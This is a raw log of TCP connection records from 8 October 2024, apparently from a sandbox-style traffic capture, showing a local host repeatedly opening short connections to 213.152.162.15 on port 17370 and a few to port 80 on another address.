Oct 8, 2024 02:41:33.866688967 CEST	64425	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:33.866688967 CEST	64425	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:33.872123957 CEST	17370	64425	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:33.974042892 CEST	64426	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:34.210824966 CEST	17370	64426	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:34.211102009 CEST	64426	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:34.237608910 CEST	64426	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:34.242572069 CEST	17370	64426	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:34.242750883 CEST	64426	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:34.247720003 CEST	17370	64426	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:34.946082115 CEST	17370	64426	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:34.946182013 CEST	64426	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:34.951931953 CEST	64426	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:34.956821918 CEST	17370	64426	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:35.067940950 CEST	64427	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:35.073039055 CEST	17370	64427	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:35.073122978 CEST	64427	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:35.219176054 CEST	64427	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:35.224132061 CEST	17370	64427	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:35.224204063 CEST	64427	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:35.229023933 CEST	17370	64427	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:35.791852951 CEST	17370	64427	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:35.792006016 CEST	64427	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:35.792105913 CEST	64427	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:35.798238039 CEST	17370	64427	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:35.895935059 CEST	64428	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:35.901187897 CEST	17370	64428	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:35.901266098 CEST	64428	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:35.937130928 CEST	64428	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:35.942090034 CEST	17370	64428	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:35.942173958 CEST	64428	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:35.947421074 CEST	17370	64428	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:36.646950006 CEST	17370	64428	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:36.647046089 CEST	64428	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:36.647139072 CEST	64428	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:36.653563976 CEST	17370	64428	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:36.755366087 CEST	64429	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:36.760843992 CEST	17370	64429	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:36.760963917 CEST	64429	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:36.787455082 CEST	64429	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:36.792408943 CEST	17370	64429	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:36.792572975 CEST	64429	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:36.797449112 CEST	17370	64429	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:37.472987890 CEST	17370	64429	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:37.473191977 CEST	64429	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:37.473264933 CEST	64429	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:37.478144884 CEST	17370	64429	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:37.583486080 CEST	64430	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:37.588835955 CEST	17370	64430	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:37.588957071 CEST	64430	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:37.614412069 CEST	64430	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:37.619297028 CEST	17370	64430	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:37.619505882 CEST	64430	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:37.624541044 CEST	17370	64430	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:38.324426889 CEST	17370	64430	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:38.324640989 CEST	64430	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:38.324641943 CEST	64430	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:38.329685926 CEST	17370	64430	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:38.442795038 CEST	64431	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:38.447973013 CEST	17370	64431	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:38.448055983 CEST	64431	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:38.509536982 CEST	64431	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:38.514534950 CEST	17370	64431	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:38.514611006 CEST	64431	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:38.519542933 CEST	17370	64431	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:39.169840097 CEST	17370	64431	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:39.170208931 CEST	64431	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:39.170209885 CEST	64431	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:39.175318956 CEST	17370	64431	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:39.286506891 CEST	64432	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:39.292001009 CEST	17370	64432	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:39.292079926 CEST	64432	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:39.416280031 CEST	64432	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:39.421369076 CEST	17370	64432	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:39.421437025 CEST	64432	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:39.426711082 CEST	17370	64432	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:40.028608084 CEST	17370	64432	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:40.028685093 CEST	64432	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:40.028794050 CEST	64432	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:40.033624887 CEST	17370	64432	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:40.146080017 CEST	64433	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:40.151237011 CEST	17370	64433	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:40.151444912 CEST	64433	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:40.189160109 CEST	64433	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:40.194360971 CEST	17370	64433	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:40.194542885 CEST	64433	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:40.199455976 CEST	17370	64433	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:40.908781052 CEST	17370	64433	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:40.908974886 CEST	64433	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:40.908974886 CEST	64433	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:40.915585041 CEST	17370	64433	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:41.021164894 CEST	64434	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:41.026492119 CEST	17370	64434	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:41.026561975 CEST	64434	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:41.045996904 CEST	64434	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:41.051158905 CEST	17370	64434	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:41.051237106 CEST	64434	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:41.056535959 CEST	17370	64434	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:41.754555941 CEST	17370	64434	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:41.754626036 CEST	64434	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:41.754761934 CEST	64434	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:41.759594917 CEST	17370	64434	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:41.864754915 CEST	64435	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:41.869844913 CEST	17370	64435	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:41.869944096 CEST	64435	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:41.905898094 CEST	64435	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:41.910936117 CEST	17370	64435	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:41.911020041 CEST	64435	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:41.917892933 CEST	17370	64435	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:42.594458103 CEST	17370	64435	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:42.594544888 CEST	64435	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:42.594645977 CEST	64435	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:42.710447073 CEST	64436	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:42.809689045 CEST	17370	64435	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:42.809775114 CEST	64435	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:42.809927940 CEST	17370	64435	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:42.809938908 CEST	17370	64436	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:42.810025930 CEST	64436	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:42.948434114 CEST	64436	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:42.954272032 CEST	17370	64436	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:42.954329967 CEST	64436	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:42.962445974 CEST	17370	64436	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:43.537334919 CEST	17370	64436	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:43.537419081 CEST	64436	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:43.537645102 CEST	64436	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:43.542866945 CEST	17370	64436	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:43.646022081 CEST	64437	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:43.651187897 CEST	17370	64437	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:43.651277065 CEST	64437	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:43.685429096 CEST	64437	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:43.690659046 CEST	17370	64437	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:43.690812111 CEST	64437	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:43.695816040 CEST	17370	64437	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:44.386522055 CEST	17370	64437	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:44.386645079 CEST	64437	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:44.386737108 CEST	64437	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:44.391570091 CEST	17370	64437	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:44.489658117 CEST	64438	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:44.495326042 CEST	17370	64438	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:44.495413065 CEST	64438	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:44.518621922 CEST	64438	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:44.523523092 CEST	17370	64438	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:44.523577929 CEST	64438	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:44.528867006 CEST	17370	64438	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:45.253918886 CEST	17370	64438	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:45.254108906 CEST	64438	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:45.254144907 CEST	64438	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:45.259361029 CEST	17370	64438	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:45.386183023 CEST	64439	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:45.391360044 CEST	17370	64439	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:45.391453028 CEST	64439	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:45.890836000 CEST	64439	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:45.896225929 CEST	17370	64439	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:45.896306992 CEST	64439	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:45.901262045 CEST	17370	64439	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:46.315633059 CEST	17370	64439	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:46.315916061 CEST	64439	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:46.315917015 CEST	64439	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:46.321007013 CEST	17370	64439	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:46.427314997 CEST	64440	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:46.433067083 CEST	17370	64440	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:46.433281898 CEST	64440	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:46.466778994 CEST	64440	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:46.471949100 CEST	17370	64440	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:46.472162962 CEST	64440	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:46.477185965 CEST	17370	64440	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:47.210608959 CEST	17370	64440	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:47.210810900 CEST	64440	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:47.210896969 CEST	64440	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:47.215889931 CEST	17370	64440	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:47.317998886 CEST	64441	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:47.323481083 CEST	17370	64441	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:47.323570967 CEST	64441	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:47.351421118 CEST	64441	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:47.356445074 CEST	17370	64441	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:47.356518030 CEST	64441	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:47.361532927 CEST	17370	64441	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:48.054502010 CEST	17370	64441	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:48.054733038 CEST	64441	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:48.054733992 CEST	64441	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:48.059767962 CEST	17370	64441	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:48.161669016 CEST	64442	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:48.166950941 CEST	17370	64442	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:48.167042971 CEST	64442	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:48.194880009 CEST	64442	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:48.200057030 CEST	17370	64442	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:48.200128078 CEST	64442	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:48.205008984 CEST	17370	64442	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:48.901560068 CEST	17370	64442	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:48.901635885 CEST	64442	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:48.901738882 CEST	64442	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:48.906814098 CEST	17370	64442	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:49.005505085 CEST	64443	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:49.011061907 CEST	17370	64443	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:49.011297941 CEST	64443	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:49.040975094 CEST	64443	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:49.046166897 CEST	17370	64443	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:49.046358109 CEST	64443	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:49.051568985 CEST	17370	64443	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:49.721904039 CEST	17370	64443	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:49.722174883 CEST	64443	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:49.722176075 CEST	64443	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:49.727250099 CEST	17370	64443	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:49.833571911 CEST	64444	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:49.839901924 CEST	17370	64444	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:49.840070963 CEST	64444	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:49.870927095 CEST	64444	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:49.875986099 CEST	17370	64444	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:49.876180887 CEST	64444	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:49.881603003 CEST	17370	64444	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:50.571930885 CEST	17370	64444	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:50.572015047 CEST	64444	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:50.572114944 CEST	64444	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:50.577079058 CEST	17370	64444	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:50.677181959 CEST	64445	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:50.682208061 CEST	17370	64445	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:50.682279110 CEST	64445	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:50.702852964 CEST	64445	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:50.707803011 CEST	17370	64445	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:50.707858086 CEST	64445	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:50.712670088 CEST	17370	64445	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:50.999308109 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:51.005507946 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:51.103116035 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:51.301999092 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:51.369888067 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:51.411422968 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:51.415983915 CEST	17370	64445	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:51.416141987 CEST	64445	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:51.416192055 CEST	64445	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:51.421173096 CEST	17370	64445	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:51.520967007 CEST	64446	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:51.525950909 CEST	17370	64446	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:51.526036978 CEST	64446	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:51.557010889 CEST	64446	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:51.565083027 CEST	17370	64446	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:51.565152884 CEST	64446	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:51.570198059 CEST	17370	64446	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:52.233668089 CEST	17370	64446	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:52.233874083 CEST	64446	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:52.249047995 CEST	64446	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:52.254379988 CEST	17370	64446	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:52.385570049 CEST	64447	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:52.390697002 CEST	17370	64447	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:52.390822887 CEST	64447	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:52.703841925 CEST	64447	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:52.708880901 CEST	17370	64447	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:52.709063053 CEST	64447	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:52.714049101 CEST	17370	64447	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:53.121644020 CEST	17370	64447	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:53.121717930 CEST	64447	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:53.121824026 CEST	64447	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:53.126771927 CEST	17370	64447	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:53.239742994 CEST	64448	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:53.244957924 CEST	17370	64448	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:53.245031118 CEST	64448	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:53.281440020 CEST	64448	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:53.286393881 CEST	17370	64448	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:53.286468983 CEST	64448	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:53.291389942 CEST	17370	64448	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:53.967597961 CEST	17370	64448	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:53.967689037 CEST	64448	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:53.967856884 CEST	64448	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:53.973541975 CEST	17370	64448	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:54.083551884 CEST	64449	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:54.089713097 CEST	17370	64449	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:54.089788914 CEST	64449	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:54.123433113 CEST	64449	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:54.128727913 CEST	17370	64449	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:54.128773928 CEST	64449	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:54.133646965 CEST	17370	64449	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:54.889575958 CEST	17370	64449	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:54.889780045 CEST	64449	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:54.891225100 CEST	64449	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:54.896157980 CEST	17370	64449	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:55.025465012 CEST	64450	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:55.031347036 CEST	17370	64450	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:55.031971931 CEST	64450	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:55.611562967 CEST	64450	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:55.616734982 CEST	17370	64450	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:55.616801977 CEST	64450	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:55.621898890 CEST	17370	64450	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:56.018340111 CEST	17370	64450	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:56.018553972 CEST	64450	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:56.018553972 CEST	64450	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:56.023626089 CEST	17370	64450	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:56.130631924 CEST	64451	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:56.136037111 CEST	17370	64451	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:56.136121035 CEST	64451	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:56.178905010 CEST	64451	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:56.184423923 CEST	17370	64451	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:56.184485912 CEST	64451	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:56.189451933 CEST	17370	64451	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:56.880489111 CEST	17370	64451	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:56.880584955 CEST	64451	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:56.880692005 CEST	64451	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:56.885565996 CEST	17370	64451	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:56.989918947 CEST	64452	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:56.995058060 CEST	17370	64452	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:56.995163918 CEST	64452	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:57.031683922 CEST	64452	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:57.036798954 CEST	17370	64452	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:57.036993027 CEST	64452	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:57.042004108 CEST	17370	64452	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:57.744576931 CEST	17370	64452	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:57.744906902 CEST	64452	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:57.744906902 CEST	64452	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:57.749953032 CEST	17370	64452	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:57.849265099 CEST	64453	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:57.854440928 CEST	17370	64453	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:57.854517937 CEST	64453	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:57.879641056 CEST	64453	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:57.884550095 CEST	17370	64453	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:57.884602070 CEST	64453	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:57.889503956 CEST	17370	64453	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:58.576833010 CEST	17370	64453	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:58.577001095 CEST	64453	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:58.577018976 CEST	64453	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:58.582006931 CEST	17370	64453	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:58.692868948 CEST	64454	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:58.698029041 CEST	17370	64454	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:58.698112011 CEST	64454	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:58.770773888 CEST	64454	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:58.982616901 CEST	17370	64454	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:58.982671976 CEST	64454	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:58.987488985 CEST	17370	64454	213.152.162.15	192.168.2.4
